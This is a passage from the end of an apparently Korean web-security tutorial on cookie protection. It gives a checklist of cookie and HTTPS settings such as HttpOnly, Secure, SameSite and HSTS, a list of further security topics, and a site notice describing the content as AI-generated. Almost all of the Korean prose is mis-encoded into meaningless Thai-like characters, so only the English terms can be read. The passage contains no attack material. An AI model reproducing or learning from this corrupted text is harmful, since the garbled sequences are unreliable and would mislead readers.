4๏ธโฃ ๋ฏผ๊ฐํ ์ ๋ณด๋ ์ฟ ํค์ ์ ์ฅํ์ง ๋ง ๊ฒ
์ธ์ ID๋ง ์ ์ฅํ๊ณ ๋๋จธ์ง๋ ์๋ฒ์!
5๏ธโฃ ์ ๊ธฐ์ ์ธ ๋ณด์ ๊ฐ์ฌ
ํ ๋ฒ ์ค์ ํ๊ณ ๋์ด ์๋์ผ. ์ง์์ ์ธ ๋ชจ๋ํฐ๋ง์ด ํ์ํด!
ํ์ ์ค์
โ๏ธ HttpOnly: true (์ธ์ ์ฟ ํค)
โ๏ธ Secure: true (์ด์ ํ๊ฒฝ)
โ๏ธ SameSite: 'lax' ๋๋ 'strict'
โ๏ธ ์ ์ ํ ๋ง๋ฃ ์๊ฐ ์ค์
โ๏ธ Domain/Path ์ ํ
์ถ๊ฐ ๋ณด์
โ๏ธ HTTPS ์ ํ ์๋ฃ
โ๏ธ HSTS ํค๋ ์ค์
โ๏ธ CSRF ํ ํฐ ๊ตฌํ
โ๏ธ ์ธ์ ๊ณ ์ ๊ณต๊ฒฉ ๋ฐฉ์ด
โ๏ธ ์ฟ ํค ์ํธํ (ํ์์)
๋ชจ๋ํฐ๋ง
โ๏ธ ๋ณด์ ๋ก๊ทธ ์์ง
โ๏ธ ์ด์ ํจํด ๊ฐ์ง
โ๏ธ ์ ๊ธฐ ๋ณด์ ๊ฐ์ฌ
โ๏ธ ์ทจ์ฝ์ ์ค์บ
โ๏ธ ์ฌ์ฉ์ ํผ๋๋ฐฑ ์์ง
๋ค์ ๋จ๊ณ
์ฟ ํค ๋ณด์์ ๋ง์คํฐํ๋ค๋ฉด, ์ด์ ๋ค์ ์ฃผ์ ๋ค๋ ๊ณต๋ถํด๋ณด์! ๐โข JWT ํ ํฐ ๋ณด์
โข OAuth 2.0
โข Content Security Policy
โข CORS ์ค์
โข SQL Injection ๋ฐฉ์ด
โข ์ํธํ ๊ธฐ๋ฒ
โข ํด์ ํจ์
โข ๋์งํธ ์๋ช
โข PKI ์ธํ๋ผ
โข Zero Trust ์ํคํ ์ฒ
โข ๋ชจ๋ฐ์ผ ์ฑ ๋ณด์
โข API ๋ณด์
โข ๋ง์ดํฌ๋ก์๋น์ค ๋ณด์
โข ํด๋ผ์ฐ๋ ๋ณด์
โข IoT ๋ณด์
๋ง์ง๋ง ๋น๋ถ
๐ ๋ณด์์ ํ ๋ฒ์ ๋๋์ง ์์
์ง์์ ์ธ ๊ด์ฌ๊ณผ ์ ๋ฐ์ดํธ๊ฐ ํ์ํด. ์๋ก์ด ์ทจ์ฝ์ ์ ๊ณ์ ๋ฐ๊ฒฌ๋๊ณ , ๊ณต๊ฒฉ ๊ธฐ๋ฒ๋ ์งํํ๊ฑฐ๋ .
โ๏ธ ๋ณด์๊ณผ ์ฌ์ฉ์ฑ์ ๊ท ํ
๋๋ฌด ์๊ฒฉํ ๋ณด์์ ์ฌ์ฉ์ ๊ฒฝํ์ ํด์น ์ ์์ด. ์๋น์ค ํน์ฑ์ ๋ง๋ ์ ์ ํ ์์ค์ ์ฐพ์์ผ ํด.
๐ฅ ํ ์ ์ฒด์ ๋ณด์ ์์
๊ฐ๋ฐ์ ํผ์๋ง ์ ๊ฒฝ ์ด๋ค๊ณ ํด๊ฒฐ๋์ง ์์. ๊ธฐํ์, ๋์์ด๋, QA ๋ชจ๋๊ฐ ๋ณด์์ ์ดํดํด์ผ ํด.
๐ ๊ณ์ ๋ฐฐ์ฐ๊ธฐ
์น ๋ณด์์ ๋น ๋ฅด๊ฒ ๋ณํํ๋ ๋ถ์ผ์ผ. ์ต์ ํธ๋ ๋์ ๋ฒ ์คํธ ํ๋ํฐ์ค๋ฅผ ๊ณ์ ๊ณต๋ถํด์ผ ํด.
๐ค ์ปค๋ฎค๋ํฐ ์ฐธ์ฌ
ํผ์ ๊ณ ๋ฏผํ์ง ๋ง๊ณ ์ปค๋ฎค๋ํฐ์์ ๊ฒฝํ์ ๊ณต์ ํ๊ณ ๋ฐฐ์. ์ฌ๋ฅ๋ท ๊ฐ์ ํ๋ซํผ์์ ๋ณด์ ์ ๋ฌธ๊ฐ๋ค๊ณผ ๊ต๋ฅํ๋ ๊ฒ๋ ์ข์ ๋ฐฉ๋ฒ์ด์ผ!
๐ ์ถํํด์!
์ฟ ํค ๋ณด์์ ๋ชจ๋ ๊ฒ์ ๋ฐฐ์ ์ด! ์ด์ ๋น์ ์ HttpOnly, Secure, SameSite๋ฅผ ์์ ์์ฌ๋ก ๋ค๋ฃฐ ์ ์์ด. ๐
์ด ์ง์์ ์ค์ ํ๋ก์ ํธ์ ์ ์ฉํด๋ณด๊ณ , ๋ ์์ ํ ์น์ ๋ง๋๋ ๋ฐ ๊ธฐ์ฌํด๋ด!
๊ถ๊ธํ ์ ์ด ์๋ค๋ฉด ์ธ์ ๋ ์ฌ๋ฅ๋ท์ ์ง์์ธ์ ์ฒ์์ ์ง๋ฌธํ๊ฑฐ๋,
๋ณด์ ์ ๋ฌธ๊ฐ๋ค๊ณผ ๊ต๋ฅํ๋ฉด์ ๊ณ์ ์ฑ์ฅํด๋๊ฐ์! ๐ช
Happy Secure Coding! ๐โจ
๊ด๋ จ ํค์๋
๋๊ธ 0
์ง์์ธ์ ์ฒ - ์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
- ์ ์๊ถ ๋ฐ ์์ ๊ถ: ๋ณธ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ๋ ์ AI ๊ธฐ์ ๋ก ์์ฑ๋์์ผ๋ฉฐ, ๋ํ๋ฏผ๊ตญ ์ ์๊ถ๋ฒ ๋ฐ ๊ตญ์ ์ ์๊ถ ํ์ฝ์ ์ํด ๋ณดํธ๋ฉ๋๋ค.
- AI ์์ฑ ์ปจํ ์ธ ์ ๋ฒ์ ์ง์: ๋ณธ AI ์์ฑ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ์ง์ ์ฐฝ์๋ฌผ๋ก ์ธ์ ๋๋ฉฐ, ๊ด๋ จ ๋ฒ๊ท์ ๋ฐ๋ผ ์ ์๊ถ ๋ณดํธ๋ฅผ ๋ฐ์ต๋๋ค.
- ์ฌ์ฉ ์ ํ: ์ฌ๋ฅ๋ท์ ๋ช ์์ ์๋ฉด ๋์ ์์ด ๋ณธ ์ปจํ ์ธ ๋ฅผ ๋ณต์ , ์์ , ๋ฐฐํฌ, ๋๋ ์์ ์ ์ผ๋ก ํ์ฉํ๋ ํ์๋ ์๊ฒฉํ ๊ธ์ง๋ฉ๋๋ค.
- ๋ฐ์ดํฐ ์์ง ๊ธ์ง: ๋ณธ ์ปจํ ์ธ ์ ๋ํ ๋ฌด๋จ ์คํฌ๋ํ, ํฌ๋กค๋ง, ๋ฐ ์๋ํ๋ ๋ฐ์ดํฐ ์์ง์ ๋ฒ์ ์ ์ฌ์ ๋์์ด ๋ฉ๋๋ค.
- AI ํ์ต ์ ํ: ์ฌ๋ฅ๋ท์ AI ์์ฑ ์ปจํ ์ธ ๋ฅผ ํ AI ๋ชจ๋ธ ํ์ต์ ๋ฌด๋จ ์ฌ์ฉํ๋ ํ์๋ ๊ธ์ง๋๋ฉฐ, ์ด๋ ์ง์ ์ฌ์ฐ๊ถ ์นจํด๋ก ๊ฐ์ฃผ๋ฉ๋๋ค.

๋๊ธ ์์ฑ
์ด ๊ธ์ ๋ํ ์ฌ๋ฌ๋ถ์ ์๊ฐ์ ๋ค๋ ค์ฃผ์ธ์
๋ก๊ทธ์ธ์ด ํ์ํฉ๋๋ค
๋๊ธ์ ์์ฑํ๋ ค๋ฉด ๋จผ์ ๋ก๊ทธ์ธํด์ฃผ์ธ์.